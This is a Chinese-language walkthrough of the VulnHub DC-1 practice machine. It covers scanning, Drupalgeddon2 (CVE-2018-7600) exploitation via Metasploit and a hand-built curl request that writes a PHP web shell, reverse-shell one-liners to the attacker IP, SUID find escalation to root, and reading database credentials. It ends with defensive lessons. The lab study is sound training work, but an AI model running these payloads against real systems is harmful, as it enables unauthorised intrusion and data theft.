DC-1 是 VulnHub 上最经典的入门靶机之一(DCAU 系列第一台),难度标记为 Beginner/Intermediate。它没有花哨的 0day,考的是一套标准的渗透思维:先摸清环境,再抓 CMS 版本漏洞,最后做 SUID 提权。整台机器埋了 5 个 flag(flag1~flag4 + thefinalflag),每个 flag 都会给下一步的提示,走完全程等于把 Web 渗透到提权的完整链路亲手过了一遍。
⚠️ 本文所有操作均在 VMware 私有 NAT 网段内对本机靶机执行,靶机为公开下载的 VulnHub 镜像,请勿对未授权目标复现。
1. 环境搭建
靶机镜像(DC-1.ova)在 VulnHub 官网下载后直接导入 VMware Workstation。网络模式选 NAT,这样 Kali 攻击机与靶机处于同一个虚拟网段,互相可达,但与外网隔离。
| 角色 | 系统 | 网络 |
|---|---|---|
| 攻击机 | Kali Linux | VMware NAT(VMnet8) |
| 靶机 | DC-1(Debian + Drupal 7) | VMware NAT(VMnet8) |
靶机默认 DHCP 获取 IP,所以第一步是在攻击机上用 ARP 扫描发现存活主机:
# netdiscover 主动扫描当前网段
sudo netdiscover -r 192.168.xxx.0/24
# 或者用 arp-scan,更快更干净
sudo arp-scan --localnet
扫描结果里除 Kali 自己外多出来的那台主机就是靶机,比如 192.168.xxx.131。把它的 IP 记下来,后面的所有操作都指向它。
💡 小技巧:如果两台机器互相 ping 不通,先检查 VMware 的 NAT 网段是否一致,再确认靶机网卡是否处于已连接状态(VMware 默认会正确挂上 VMnet8)。
2. 信息收集
拿到 IP 后先做端口扫描,重点是全端口 + 服务版本识别:
# 全端口 TCP 扫描
sudo nmap -sS -p- 192.168.xxx.131
# 服务版本 + 默认脚本探测
sudo nmap -sV -sC -O 192.168.xxx.131 -p 22,80
结果非常干净:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7
80/tcp open http Apache httpd 2.2.22 ((Debian))
MAC Address: 00:0C:29:XX:XX:XX (VMware)
只开放了 22 和 80,攻击面收敛在 Web 上。浏览器打开 http://192.168.xxx.131/,看到的是一个 Drupal 站点。Drupal 的版本信息通常藏在页面底部或 HTML 源码里:
<!-- 页面源码底部能看到类似 -->
<meta name="Generator" content="Drupal 7 (http://drupal.org)" />
Drupal 7,这个版本号非常关键——它决定了后面的利用路径。也可以配合 whatweb 或 droopescan 快速确认:
whatweb http://192.168.xxx.131/
# 输出: ... Drupal 7 ...
3. 漏洞利用:Drupalgeddon2 (CVE-2018-7600)
Drupal 7 有一个著名的 RCE 漏洞:Drupalgeddon2(CVE-2018-7600)。它的原理一句话概括:Drupal 的表单 API 允许通过 #post_render 这类渲染数组属性注入可执行的回调,攻击者利用 user/register 表单的 mail[#post_render][] 参数传入 exec 之类的 PHP 函数,配合 ajax_form=1 触发,就能未认证远程执行任意命令。2018 年披露后很快被大规模自动化利用,Drupal 官方连夜出了补丁。
利用方式有两种,任选其一:
方式一:Metasploit 一键利用
msfconsole
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.xxx.131
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST 192.168.xxx.128
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set TARGETURI /
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
模块默认直接给你一个 meterpreter 会话,可以省掉手工反弹 shell 的步骤。
方式二:手工 POST 触发
不依赖 MSF,直接用 curl 构造恶意请求,向靶机写一个一句话 shell:
# 先访问注册页拿 form_build_id
curl -s http://192.168.xxx.131/user/register -c cookies.txt | grep form_build_id
# 构造恶意 POST:mail 参数里塞 #post_render 回调,执行写 shell 的命令
curl -s -b cookies.txt \
-d "form_id=user_register_form&form_build_id=FORM_BUILD_ID_HERE&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=echo '<?php system(\$_GET['cmd']); ?>' > /tmp/shell.php" \
"http://192.168.xxx.131/user/register?element_parents=account/mail/%23value&ajax_form=1"
# 验证命令执行
curl "http://192.168.xxx.131/tmp/shell.php?cmd=id"
💡 手工方式的核心就一句话:
#post_render[]数组注入 +exec回调 +ajax_form=1触发。理解了这一点,MSF 模块在你眼里就不再是黑盒。
4. 反弹 Shell
有了 RCE,下一步是拿一个稳定的交互式 shell。攻击机先开监听:
nc -lvvp 4444
然后在靶机上执行反弹命令。因为目标环境有 PHP,用 PHP 反弹最稳:
# 通过 RCE 执行(URL 编码后传入)
php -r '$sock=fsockopen("192.168.xxx.128",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# 或者 bash 反弹
bash -i >& /dev/tcp/192.168.xxx.128/4444 0>&1
监听端收到 shell 后,先确认身份,再升级成交互式终端:
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
# 升级为带 TTY 的交互式 shell
python -c 'import pty; pty.spawn("/bin/bash")'
到这一步,我们拿到了 www-data 权限的 shell,但这只是开始——真正的挑战在提权。
5. 提权:SUID find
老规矩,先做系统信息收集。/etc/passwd 里可以看到靶机上的普通用户:
cat /etc/passwd
# 除了 root,还有一个 flag4 用户(uid 1004)
接着枚举 SUID 文件——拥有 SUID 位的程序会以属主身份运行,如果属主是 root 而程序本身可被我们操控,就是经典的提权入口:
find / -perm -4000 2>/dev/null
输出里除了常见的 passwd、su 等,赫然躺着一条:
-rwsr-xr-x 1 root root ... /usr/bin/find
find 居然带 SUID 位,属主是 root。这意味着我们执行的任何 find 命令都以 root 身份运行。而 GNU find 有一个致命特性:-exec 参数可以执行任意命令。两者一组合,直接提权:
find / -exec /bin/sh -p \;
# 或者更简洁的写法
find . -exec /bin/sh \;
执行后 shell 立即变成 root:
# id
uid=0(root) gid=0(root) groups=0(root)
💡 原理回顾:
find的 SUID 位让进程的 euid 变成 0,-exec触发的子进程继承这个 euid,于是sh以 root 运行。这是 SUID 提权里最经典的组合拳之一,GTFOBins 上find条目记录的就是这条命令。
6. Flag 复盘
这台机器的 flag 是引导式的,每个 flag 都是一条提示,串起来就是完整的解题思路:
| Flag | 位置 | 内容/提示 | 关键动作 |
|---|---|---|---|
| flag1 | /var/www/flag1.txt | 提示”每个 CMS 都有配置文件” | 顺着提示找 Drupal 配置 |
| flag2 | /var/www/sites/default/settings.php | MySQL 数据库凭据 | 读配置拿 dbuser/dbpass,登入数据库 |
| flag3 | 数据库 drupaldb.users 表 | 管理员密码 hash | 爆破 hash 或直接重置管理员密码 |
| flag4 | /home/flag4/flag4.txt | 提示看 /etc/passwd 和 SUID | 找到 SUID find,完成提权 |
| thefinalflag | /root/thefinalflag.txt | 恭喜通关 | root 后直接读 |
flag1 → flag2:flag1 明示”找配置文件”,Drupal 的数据库配置在 sites/default/settings.php,里面直接写着 MySQL 的库名、用户名和密码:
cat /var/www/sites/default/settings.php | grep -A 4 "databases"
# $databases['default']['default'] = array(
# 'database' => 'drupaldb',
# 'username' => 'dbuser',
# 'password' => 'xxx',
# ...
flag2 → flag3:拿到凭据登入数据库,users 表里存着管理员账号和密码 hash:
mysql -u dbuser -p drupaldb
mysql> SELECT name, pass FROM users;
# admin 的 pass 是一串 $S$ 开头的 Drupal hash
两条路可选:一是把 hash 抄出来用 john/hashcat 爆破(Drupal7 格式 $S$);二是更省事的直接重置——用 PHP 现算一个新 hash 写回数据库:
# 在靶机上用 PHP 生成新密码 hash
php -r 'print(password_hash("NewPass123", PASSWORD_BCRYPT) . "\n");'
# Drupal 7 的 hash 实际是 phpass 格式,更准确的做法:
php -r 'require "/var/www/includes/password.inc"; print user_hash_password("NewPass123") . "\n";'
mysql> UPDATE users SET pass='<新hash>' WHERE name='admin';
之后就能用 admin 登录后台,在 /admin 里还能看到 flag3 的内容提示”去看 flag4 用户的目录”。
flag3 → flag4:/home/flag4/flag4.txt 里写着”root 的 flag 在 /root 下,想进去就看看 SUID 吧”——于是有了第 5 节的 find 提权。
thefinalflag:root 后直接读取:
cat /root/thefinalflag.txt
通关。整条链:Web 漏洞打进来 → 配置泄露拿库 → 数据库拿凭据 → SUID 提权到 root,每一环都环环相扣。
7. 教训与总结
DC-1 虽然老,但把真实环境里最常见的几个问题全部浓缩进来了:
- CMS 必须及时更新:Drupal 7 全版本被 Drupalgeddon2 一锅端,而靶机还是 2018 年之前的版本。现实中大量老站就是这么被打穿的——漏洞利用永远比管理员打补丁快。CVE-2018-7600 的教训是:表单渲染数组这种”框架魔法”一旦被滥用,就是未认证 RCE。
- SUID 位必须最小化:
find这种日常工具根本不需要 root SUID。一条find / -perm -4000就能看出管理员偷懒的痕迹。运维上应定期审计 SUID/SGID 文件,删掉所有非必要的 SUID 位。 - 权限分离:Web 服务用
www-data跑是标准做法,但如果数据库密码直接写在 Web 目录的配置文件里,Web 被打穿 = 数据库沦陷。数据库账号应该按最小权限原则单独建,而不是用能操作全库的账号。 - 流程比技巧重要:DC-1 没有任何花哨技巧,但每一步都依赖上一步的信息。信息收集 → 漏洞利用 → 权限维持/提升这个框架,比任何一个具体漏洞都值钱。
对新手来说,DC-1 是完美的”第一个完整靶机”:难度低、引导强、覆盖面全。打完之后建议继续 DC-2(WordPress + 横向提权)和 DC-3(Joomla + 内核提权),把这条链路练熟。